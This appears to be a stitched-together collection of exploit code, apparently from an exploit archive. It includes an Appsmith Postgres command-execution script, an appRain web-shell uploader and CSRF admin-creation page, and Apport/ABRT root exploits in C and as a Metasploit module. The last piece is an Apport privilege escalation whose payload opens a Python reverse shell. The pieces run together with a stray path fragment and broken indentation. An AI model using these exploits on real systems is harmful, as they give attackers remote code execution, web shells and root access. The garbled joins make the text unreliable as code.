                        print(f"Error checking plugin {plugin_id}: {e}")
                        continue

                # Proceed to request 8 after finding "postgres"
                # Proceed to request 8 after finding "postgres"
                if "postgres" in str(seventh_response_json):
                    try:
                        # Try the environments API endpoint
                        eighth_request_url = f"{base_url}/api/v1/environments/workspaces/{workspace_id}?fetchDatasourceMeta=true"
                        eighth_request_headers = {
                            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                            "Accept": "application/json, text/plain, */*",
                            "Accept-Language": "en-US,en;q=0.5",
                            "Accept-Encoding": "gzip, deflate",
                            "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                            "Connection": "keep-alive",
                            "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
                            "Cookie": f"{cookie_name}={cookie_value}",
                        }
                        
                        print('Getting the workspace details...')
                        eighth_response = requests.get(eighth_request_url, headers=eighth_request_headers)
                        eighth_response.raise_for_status()
                        
                        # Extracting the workspace ID from the eighth response
                        try:
                            eighth_response_json = eighth_response.json()
                            workspace_data = eighth_response_json.get("data", [{}])[0]
                            workspace_id_value = workspace_data.get("id")
                        except (ValueError, IndexError):
                            print("Response content is not valid JSON or does not contain the expected structure:", eighth_response.text)
                    except requests.exceptions.HTTPError as e:
                        # If the environments API fails, use the workspace ID we already have
                        print(f"Could not fetch environment details: {e}")
                        print("Using existing workspace ID for datasource creation...")
                        workspace_id_value = workspace_id
            except (ValueError, IndexError):
                print("Response content is not valid JSON or does not contain enough plugins:", sixth_response.text)

            # After the eighth request to get workspace details
            if workspace_id_value:
                ninth_request_url = f"{base_url}/api/v1/datasources"
                ninth_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasource/temp-id-0?from=datasources&pluginId=671a669f4e7fe242d9885195",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                ninth_request_data = {
                    "pluginId": plugin_id,
                    "datasourceStorages": {
                        workspace_id_value: {
                            "datasourceConfiguration": {
                                "properties": [None, {"key": "Connection method", "value": "STANDARD"}],
                                "connection": {
                                    "mode": "READ_WRITE",
                                    "ssl": {"authType": "DEFAULT"}
                                },
                                "endpoints": [{"port": "5432", "host": "localhost"}],
                                "sshProxy": {"endpoints": [{"port": "22"}]},
                                "authentication": {
                                    "databaseName": "postgres",
                                    "username": "postgres",
                                    "password": "postgres"
                                }
                            },
                            "datasourceId": "",
                            "environmentId": workspace_id_value,
                            "isConfigured": True
                        }
                    },
                    "name": "Untitled datasource 1",
                    "workspaceId": workspace_id
                }

                print('Connecting to vulnerable postgres database...')
                ninth_response = requests.post(ninth_request_url, headers=ninth_request_headers, json=ninth_request_data)
                ninth_response.raise_for_status()

                # Extracting the ID from the response
                try:
                    ninth_response_json = ninth_response.json()
                    datasource_id = ninth_response_json.get("data", {}).get("id")
                except (ValueError, KeyError):
                    print("Response content is not valid JSON or does not contain the expected structure:", ninth_response.text)

            # After the ninth request to create the datasource
            if datasource_id:
                # 10th Request
                tenth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
                tenth_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                tenth_request_data = {
                    "title": "SELECT",
                    "body": "create table poc (column1 TEXT);",
                    "suggested": True
                }

                print("Creating the table 'poc'...")
                tenth_response = requests.post(tenth_request_url, headers=tenth_request_headers, json=tenth_request_data)
                tenth_response.raise_for_status()

                # 11th Request
                eleventh_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
                eleventh_request_headers = {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
                    "Accept": "application/json, text/plain, */*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/json",
                    "X-Requested-By": "Appsmith",
                    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
                    "Origin": base_url,
                    "Connection": "keep-alive",
                    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
                    "Cookie": f"{cookie_name}={cookie_value}",
                }
                
                eleventh_request_data = {
                    "title": "SELECT",
                    "body": f"copy poc from program '{command_arg}';",
                    "suggested": True
                }/CVE-2024-55963-Appsmith-RCE

                print("Running command...")
eleventh_response = requests.post(eleventh_request_url, headers=eleventh_request_headers, json=eleventh_request_data)
eleventh_response.raise_for_status()

# 12th Request
twelfth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"  # Use the datasource_id
twelfth_request_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "X-Requested-By": "Appsmith",
    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",  # Use your actual anonymous user ID
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
    "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
}

# Request body for the 12th schema preview
twelfth_request_data = {
    "title": "SELECT",
    "body": "select * from poc;",
    "suggested": True
}

# Print statement before the 12th request
print("Reading command output from poc table...\n")

# Make the POST request for the 12th schema preview
twelfth_response = requests.post(twelfth_request_url, headers=twelfth_request_headers, json=twelfth_request_data)

# Extracting and printing the response from the 12th schema preview
try:
    twelfth_response_json = twelfth_response.json()
    
    # Extracting the specific data
    body_data = twelfth_response_json.get("data", {}).get("body", [])
    column1_values = [item.get("column1") for item in body_data]  # Extract only the column1 values
    print("Command output:")
    print("----------------------------------------")
    for value in column1_values:
        print(value)  # Print each column1 value
    print("----------------------------------------\n")

except (ValueError, KeyError):
    print("Response content is not valid JSON or does not contain the expected structure:", twelfth_response.text)  # Print the raw response for debugging

# Cleanup Request
cleanup_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"  # Use the datasource_id
cleanup_request_headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json",
    "X-Requested-By": "Appsmith",
    "x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",  # Use your actual anonymous user ID
    "Origin": base_url,
    "Connection": "keep-alive",
    "Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
    "Cookie": f"{cookie_name}={cookie_value}",  # Use the captured session cookie
}

# Request body for cleanup
cleanup_request_data = {
    "title": "SELECT",
    "body": "DROP TABLE poc;",  # Command to drop the table
    "suggested": True
}

# Make the POST request for the cleanup
print('\nDropping the table...')
cleanup_response = requests.post(cleanup_request_url, headers=cleanup_request_headers, json=cleanup_request_data)
            
# Exploit Title: appRain CMF 4.0.5 - Remote Code Execution (RCE) (Authenticated)
# Date: 04/28/2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.apprain.org
# Software Link:
https://github.com/apprain/apprain/archive/refs/tags/v4.0.5.zip
# Version: latest
# Tested on: MacOS

import requests
import sys
import time
import random
import string

def generate_filename():
""" Generate a 5-character random string for filename. """
return ''.join(random.choices(string.ascii_lowercase, k=5)) + ".inc"

def login(site, username, password):
print("Logging in...")
time.sleep(2)
login_url = f"https://{site}/admin/system"
session = requests.Session()
login_data = {
'data[Admin][admin_id]': username,
'data[Admin][admin_password]': password
}
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
response = session.post(login_url, data=login_data, headers=headers)
if "Logout" in response.text:
print("Login Successful!")
return session
else:
print("Login Failed!")
sys.exit()

def upload_shell(session, site):
print("Shell preparing...")
time.sleep(2)
filename = generate_filename()
upload_url = f"https://{site}/admin/filemanager/upload"
files = {
'data[filemanager][image]': (filename, "<html><body><form method='GET'
name='<?php echo basename($_SERVER['PHP_SELF']); ?>'><input type='TEXT'
name='cmd' autofocus id='cmd' size='80'><input type='SUBMIT'
value='Execute'></form><pre><?php if(isset($_GET['cmd'])){
system($_GET['cmd']); } ?></pre></body></html>", 'image/jpeg')
}
data = {
'submit': 'Upload'
}
response = session.post(upload_url, files=files, data=data)
if response.status_code == 200 and "uploaded successfully" in response.text:
print(f"Your Shell is Ready: https://{site}/uploads/filemanager/{filename}")
else:
print("Exploit Failed!")
sys.exit()

if __name__ == "__main__":
print("Exploiting...")
time.sleep(2)
if len(sys.argv) != 4:
print("Usage: python exploit.py sitename.com username password")
sys.exit()
site = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
session = login(site, username, password)
upload_shell(session, site)
            
source: https://www.securityfocus.com/bid/62061/info

appRain CMF is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

appRain CMF 3.0.2 is vulnerable; other versions may also be affected. 

<img src="http://www.example.com//appRain-v-3.0.2/common/delete_row/Admin/[ID]" width="1" height="1">

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
                action="http://www.example.com/appRain-v-3.0.2/admin/manage/add" method="post">
                <input type="hidden" name="data[Admin][f_name]" value="abc">
                <input type="hidden" name="data[Admin][l_name]" value="defghi">
                <input type="hidden" name="data[Admin][email]" value="y.xvz@gmail.com">
                <input type="hidden" name="data[Admin][username]" value="abc">
                <input type="hidden" name="data[Admin][password]" value="abc123">
                <input type="hidden" name="data[Admin][status]" value="Active">
                <input type="hidden" name="data[Admin][description]" value="">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>
            
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/auxv.h>
#include <sys/wait.h>

# warning this file must be compiled with -static

//
// Apport/Abrt Vulnerability Demo Exploit.
//
//  Apport: CVE-2015-1318
//  Abrt:   CVE-2015-1862
// 
//   -- taviso@cmpxchg8b.com, April 2015.
//
// $ gcc -static newpid.c
// $ ./a.out
// uid=0(root) gid=0(root) groups=0(root)
// sh-4.3# exit
// exit
//
// Hint: To get libc.a,
//  yum install glibc-static or apt-get install libc6-dev
//

int main(int argc, char **argv)
{
    int status;
    Elf32_Phdr *hdr;
    pid_t wrapper;
    pid_t init;
    pid_t subprocess;
    unsigned i;

    // Verify this is a static executable by checking the program headers for a
    // dynamic segment. Originally I thought just checking AT_BASE would work,
    // but that isnt reliable across many kernels.
    hdr = (void *) getauxval(AT_PHDR);

    // If we find any PT_DYNAMIC, then this is probably not a static binary.
    for (i = 0; i < getauxval(AT_PHNUM); i++) {
        if (hdr[i].p_type == PT_DYNAMIC) {
            errx(EXIT_FAILURE, "you *must* compile with -static");
        }
    }

    // If execution reached here, it looks like we're a static executable. If
    // I'm root, then we've convinced the core handler to run us, so create a
    // setuid root executable that can be used outside the chroot.
    if (getuid() == 0) {
        if (chown("sh", 0, 0) != 0)
            exit(EXIT_FAILURE);

        if (chmod("sh", 04755) != 0)
            exit(EXIT_FAILURE);

        return EXIT_SUCCESS;
    }

    // If I'm not root, but euid is 0, then the exploit worked and we can spawn
    // a shell and cleanup.
    if (setuid(0) == 0) {
        system("id");
        system("rm -rf exploit");
        execlp("sh", "sh", NULL);

        // Something went wrong.
        err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
    }

    // It looks like the exploit hasn't run yet, so create a chroot.
    if (mkdir("exploit", 0755) != 0
     || mkdir("exploit/usr", 0755) != 0
     || mkdir("exploit/usr/share", 0755) != 0
     || mkdir("exploit/usr/share/apport", 0755) != 0
     || mkdir("exploit/usr/libexec", 0755) != 0) {
        err(EXIT_FAILURE, "failed to create chroot directory");
    }

    // Create links to the exploit locations we need.
    if (link(*argv, "exploit/sh") != 0
     || link(*argv, "exploit/usr/share/apport/apport") != 0        // Ubuntu
     || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) {  // Fedora
        err(EXIT_FAILURE, "failed to create required hard links");
    }

    // Create a subprocess so we don't enter the new namespace.
    if ((wrapper = fork()) == 0) {

        // In the child process, create a new pid and user ns. The pid
        // namespace is only needed on Ubuntu, because they check for %P != %p
        // in their core handler. On Fedora, just a user ns is sufficient.
        if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
            err(EXIT_FAILURE, "failed to create new namespace");

        // Create a process in the new namespace.
        if ((init = fork()) == 0) {

            // Init (pid 1) signal handling is special, so make a subprocess to
            // handle the traps.
            if ((subprocess = fork()) == 0) {
                // Change /proc/self/root, which we can do as we're privileged
                // within the new namepace.
                if (chroot("exploit") != 0) {
                    err(EXIT_FAILURE, "chroot didnt work");
                }

                // Now trap to get the core handler invoked.
                __builtin_trap();

                // Shouldn't happen, unless user is ptracing us or something.
                err(EXIT_FAILURE, "coredump failed, were you ptracing?");
            }

            // If the subprocess exited with an abnormal signal, then everything worked.
            if (waitpid(subprocess, &status, 0) == subprocess)    
                return WIFSIGNALED(status)
                        ? EXIT_SUCCESS
                        : EXIT_FAILURE;

            // Something didn't work.
            return EXIT_FAILURE;
        }

        // The new namespace didn't work.
        if (waitpid(init, &status, 0) == init)
            return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
                    ? EXIT_SUCCESS
                    : EXIT_FAILURE;

        // Waitpid failure.
        return EXIT_FAILURE;
    }

    // If the subprocess returned sccess, the exploit probably worked, reload
    // with euid zero.
    if (waitpid(wrapper, &status, 0) == wrapper) {
        // All done, spawn root shell.
        if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
            execl(*argv, "w00t", NULL);
        }
    }

    // Unknown error.
    errx(EXIT_FAILURE, "unexpected result, cannot continue");
}
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apport / ABRT chroot Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by
        invoking the default coredump handler inside a namespace ("container").

        Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
        vulnerable, due to a feature which allows forwarding reports to
        a container's Apport by changing the root directory before loading
        the crash report, causing 'usr/share/apport/apport' within the crashed
        task's directory to be executed.

        Similarly, Fedora is vulnerable when the kernel crash handler is
        configured to change root directory before executing ABRT, causing
        'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be
        executed.

        In both instances, the crash handler does not drop privileges,
        resulting in code execution as root.

        This module has been tested successfully on Apport 2.14.1 on
        Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Stéphane Graber', # Independent discovery, PoC and patch
          'Tavis Ormandy', # Independent discovery and C exploit
          'Ricardo F. Teixeira', # shell exploit
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'DisclosureDate' => 'Mar 31 2015',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          [ 'CVE', '2015-1318' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
          # Exploits
          [ 'EDB', '36782' ],
          [ 'EDB', '36746' ],
          [ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
          # ABRT (Fedora)
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
          # Apport (Ubuntu)
          [ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
          [ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],
          [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],
          [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
        ]
    ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ])
  end

  def base_dir
    datastore['WritableDir']
  end

  def check
    kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first

    if kernel_version < Gem::Version.new('3.12')
      vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable"
      return CheckCode::Safe
    end

    vprint_good "Linux kernel version #{kernel_version} is vulnerable"

    kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'

    # Vulnerable core_pattern (abrt):
    #   kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
    # Patched systems no longer preface the command with /usr/sbin/chroot
    #   kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
    if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
      vprint_good 'System is configured to chroot ABRT for crash reporting'
      return CheckCode::Vulnerable
    end

    # Vulnerable core_pattern (apport):
    #   kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
    if kernel_core_pattern.include? 'apport'
      vprint_good 'System is configured to use Apport for crash reporting'

      res = cmd_exec 'apport-cli --version'

      if res.blank?
        vprint_error 'Apport is NOT installed'
        return CheckCode::Safe
      end

      apport_version = Gem::Version.new(res.split('-').first)

      if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')
        vprint_good "Apport version #{apport_version} is vulnerable"
        return CheckCode::Vulnerable
      end

      vprint_error "Apport version #{apport_version} is NOT vulnerable"

      return CheckCode::Safe
    end

    vprint_error 'System is NOT configured to use Apport or chroot ABRT for crash reporting'

    CheckCode::Safe
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
  end

  def exploit
    if check != CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    # Upload Tavis Ormandy's newpid exploit:
    # - https://www.exploit-db.com/exploits/36746/
    # Cross-compiled with:
    # - i486-linux-musl-cc -static newpid.c
    path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
    fd = ::File.open path, 'rb'
    executable_data = fd.read fd.stat.size
    fd.close

    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    upload_and_chmodx executable_path, executable_data

    # Upload payload executable
    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
    payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    # newpid writes an 'exploit' directory
    # which must be removed manually if exploitation fails
    register_dir_for_cleanup "#{base_dir}/exploit"

    # Change working directory to base_dir,
    # allowing newpid to create the required hard links
    cmd_exec "cd '#{base_dir}'"

    print_status 'Launching exploit...'
    output = cmd_exec executable_path
    output.each_line { |line| vprint_status line.chomp }

    # Check for root privileges
    id = cmd_exec 'id'

    unless id.include? 'root'
      fail_with Failure::Unknown, 'Failed to gain root privileges'
    end

    print_good 'Upgraded session to root privileges'
    vprint_line id

    # Execute payload executable
    vprint_status 'Executing payload...'
    cmd_exec payload_path
  end
end
            
Both of these issues were reported to the Apport maintainers and a fix was released on 2016-12-14. The CrashDB code injection issue can be tracked with CVE-2016-9949 and the path traversal bug with CVE-2016-9950. An additional problem where arbitrary commands can be called with the “Relaunch” action is tracked by CVE-2016-9951. I’d like to thank Martin Pitt and the Ubuntu security team for getting a fix (https://bugs.launchpad.net/apport/+bug/1648806) released so quickly. They have been a pleasure to work with.

I would encourage all security researchers to audit free and open source software if they have time on their hands. Projects such as Tor, Tails, Debian and Ubuntu all need more eyes for audits which can improve the safety of the internet for everyone. There are lots of bugs out there which don’t need hardcore memory corruption exploitation skills. Logic bugs can be much more reliable than any ROP chain.

The computer security industry has a serious conflict of interest right now. There is major financial motivation for researchers to find and disclose vulnerability to exploit brokers. Many of the brokers are in the business of keeping problems unfixed. Code execution bugs are valuable. As a data point, I received an offer of more than 10,000 USD from an exploit vendor for these Apport bugs. These financial motivators are only increasing as software gets more secure and bugs become more difficult to find.

To improve security for everyone we need to find sustainable ways to incentivize researchers to find and disclose issues and to get bugs fixed. We can’t and we shouldn’t rely on researchers giving away their work for free to for-profit vendors. We will not get security like that.

Microsoft and Google have shown a good example with their vulnerability reward programs. The Internet Bug Bounty (https://internetbugbounty.org/) is also doing great work and helping to support research on critical internet software. I hope that they can continue the program and expand their scope in the future. I hope we can cooperatively build a shared and secure internet together.

Source: https://donncha.is/2016/12/compromising-ubuntu-desktop/



Download: https://github.com/DonnchaC/ubuntu-apport-exploitation/archive/6ecfdf798f39fdd49b5929240d90a876c1e97ebb.zip
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40937.zip
            
# Exploit Title: Apport 2.20 - Local Privilege Escalation
# Date: 18/02/21
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://ubuntu.com/
# Version:

Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5
Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16
Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23
Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30

# Tested on: Ubuntu 

This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.

# Setup

To compile the exploit code several packages are needed:
sudo apt-get install build-essential nasm gcc

# Compilation

make

# Run

./exploit.sh

The reverse shell will connect on the next execution of logrotate

nc -l -p 1234

## Makefile ##

.PHONY: all clean

CC=gcc
CFLAGS=

NASM=nasm
NASM_FLAGS=-f elf64

LD=ld


all: exploit crash decoy

exploit: exploit.c
	$(CC) -o $@ $< $(CFLAGS)
	chmod +x $@

crash: crash.o
	$(LD) $^ -o $@

decoy: decoy.o
	$(LD) $^ -o $@

crash.o: crash.asm
	$(NASM) $(NASM_FLAGS) $^ 

decoy.o: decoy.asm
	$(NASM) $(NASM_FLAGS) $^ 


clean:
	rm exploit decoy crash *.o

## crash.asm ##

section .data
	message db 10,"/var/crash/test.log{",10,"    su root root",10,"    daily",10,"    size=0",10,"    firstaction",10,"        python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10,"    endscript",10,"}",10, 00
	timeval:
	tv_sec	dd 0
	tv_usec dd 0


section .text
	global _start
_start:
	mov dword [tv_sec], 4000000
	mov dword [tv_usec], 0
	mov rax, 35
	mov rdi, timeval
	mov rsi, 0
	syscall

## decoy.asm ##

section .text
	global _start
_start:
	mov dword [0], 0

## exploit.c ## 

#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PID_THRESHOLD (80)

int read_max_pid_file()
{
	FILE *fd = 0;
	char buf[256];

	fd = fopen("/proc/sys/kernel/pid_max", "r");
	fread(buf, sizeof(buf), 1, fd);
	fclose(fd);
	return atoi(buf);
}

void write_to_fifo_file(char * path)
{
	FILE *fd = 0;
	char buf[] = "A";

	fd = fopen(path, "w");
	fwrite(buf, sizeof(buf), 1, fd);
	fclose(fd);
	return;
}


int main(int argc, char *argv[])
{
	int iteration = 0;
	pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;
	int current_pid = 0, max_pid = 0;
	int total_pid = 0;

	char *crash_argv[] = {"crash", NULL};
	char *sudo_argv[] = {"sudo", "-S", "sud", NULL};

	char current_dir[1024] = {0};
	char exec_buf[2048] = {0};
	char crash_buf[2048] = {0};

	struct stat sb = {0} ;

	int null_fd = -1;

	signal(SIGCHLD, SIG_IGN);
	getcwd(current_dir, sizeof(current_dir));
	snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0");
	snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");

	chdir("/etc/logrotate.d/");



	// Creating the crash program
	if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)
	{
		crash_pid = fork();
		if (0 == crash_pid)
		{
			execve(crash_buf, crash_argv, NULL);
			exit(0);
		}
		else if(-1 == crash_pid)
		{
			printf("[-] Could not fork program\n");
			return -1;
		}
	}
	else
	{
		printf("[-] Please check crash file executable.");
		return -1;
	}
	

	max_pid = read_max_pid_file();
	printf("[*] crash pid: %d\n", crash_pid);
	printf("[*] max pid: %d\n", max_pid);

	printf("[*] Creating ~%d PIDs\n", max_pid);
    printf("[*] Forking new processes\n");
	sleep(3);

	// Iterating through max_pid to almost reach the crash program pid
	while (iteration < max_pid - 1)
	{
		// Print progress of forks
		if( 0 == (iteration % (int)(max_pid / 5000)))
		{
			printf("\rIteration: %d/%d", iteration + 1, max_pid);
			fflush(stdout);
		}
		temp_pid = -1;
		temp_pid = fork();
		if (0 == temp_pid)
		{
			exit(0);
		}
		else if (temp_pid > 0)
		{
			iteration++;
			// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process
			if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)
			{
				printf("\rIteration: %d/%d\n", iteration + 1, max_pid);
				fflush(stdout);
				printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid);
				break;
			}
		}
		else if (-1 == temp_pid)
		{
			printf("[-] Could not fork temp programs\n");
		}
	}

	printf("[*] Crashing the crash program\n");
	kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it
	sleep(5);
	printf("[*] Killing the crash program\n");
	kill(crash_pid, SIGKILL);
	sleep(3);

	// Now crash pid is free and we need to occupy it
	for(int i=0; i < PID_THRESHOLD ; i++)
	{
		spray_pid = fork();
		if (0 == spray_pid)
		{
			if (crash_pid == getpid())
			{
				null_fd = open("/dev/null", O_WRONLY);
				dup2(null_fd, 1);
				dup2(null_fd, 2);
				close(null_fd);

				printf("[+] Creating suid process\n");
				execve(exec_buf, sudo_argv, NULL);
			}
			exit(0);
		}
	}

	sleep(3);
	printf("[*] Writing to fifo file\n");
	write_to_fifo_file(argv[1]);

	// Now the first apport released and the second apport resumed
	printf("[+] Wrote core file to cwd!\n");
	sleep(10); // Waiting for the second apport to finish execution

	return 0;
}

## exploit.sh ##

#!/bin/sh
set -e
echo "[*] Running exploit"
touch /var/crash/test.log
ulimit -c unlimited

if [ ! -d "~/.config/apport" ]; then
	echo "[*] Settings directory not exists"
	echo "[*] Creating settings directory"
	mkdir -p ~/.config/apport
fi

if [ ! -f "~/.config/apport/settings" ] ; then
	echo "[*] Settings file not exists"
	echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings
	echo "[+] Settings file created"
fi

DECOY_PATH=`realpath ./decoy`
MY_UID=`id -u`
DECOY_CRASH_NAME=`echo "${DECOY_PATH}.${MY_UID}.crash" | sed 's/\//_/g'`
DECOY_CRASH_PATH="/var/crash/${DECOY_CRASH_NAME}"
if [ -f  $DECOY_CRASH_PATH ] || [ -p  $DECOY_CRASH_PATH ] ; then
	echo "[*] decoy crash exists deleting the file"
	rm $DECOY_CRASH_PATH
fi

mkfifo $DECOY_CRASH_PATH
echo "[+] FIFO file created"

./decoy 2>&1 >/dev/null &
killall -SIGSEGV  ./decoy

echo "[+] Decoy process created"

SUDO_PATH=`which sudo`
ln -s $SUDO_PATH "linkchange"
python3 -c "import os; os.rename('./linkchange', 'a\rUid: 0\rGid: 0')"

echo "[+] symlink to sudo created"

./exploit $DECOY_CRASH_PATH

rm $DECOY_CRASH_PATH

sleep 5
if [ -f "/etc/logrotate.d/core" ] ; then
        echo "[*] Exploit succesfully finished"
else
	echo "[*] Exploit failed"
fi

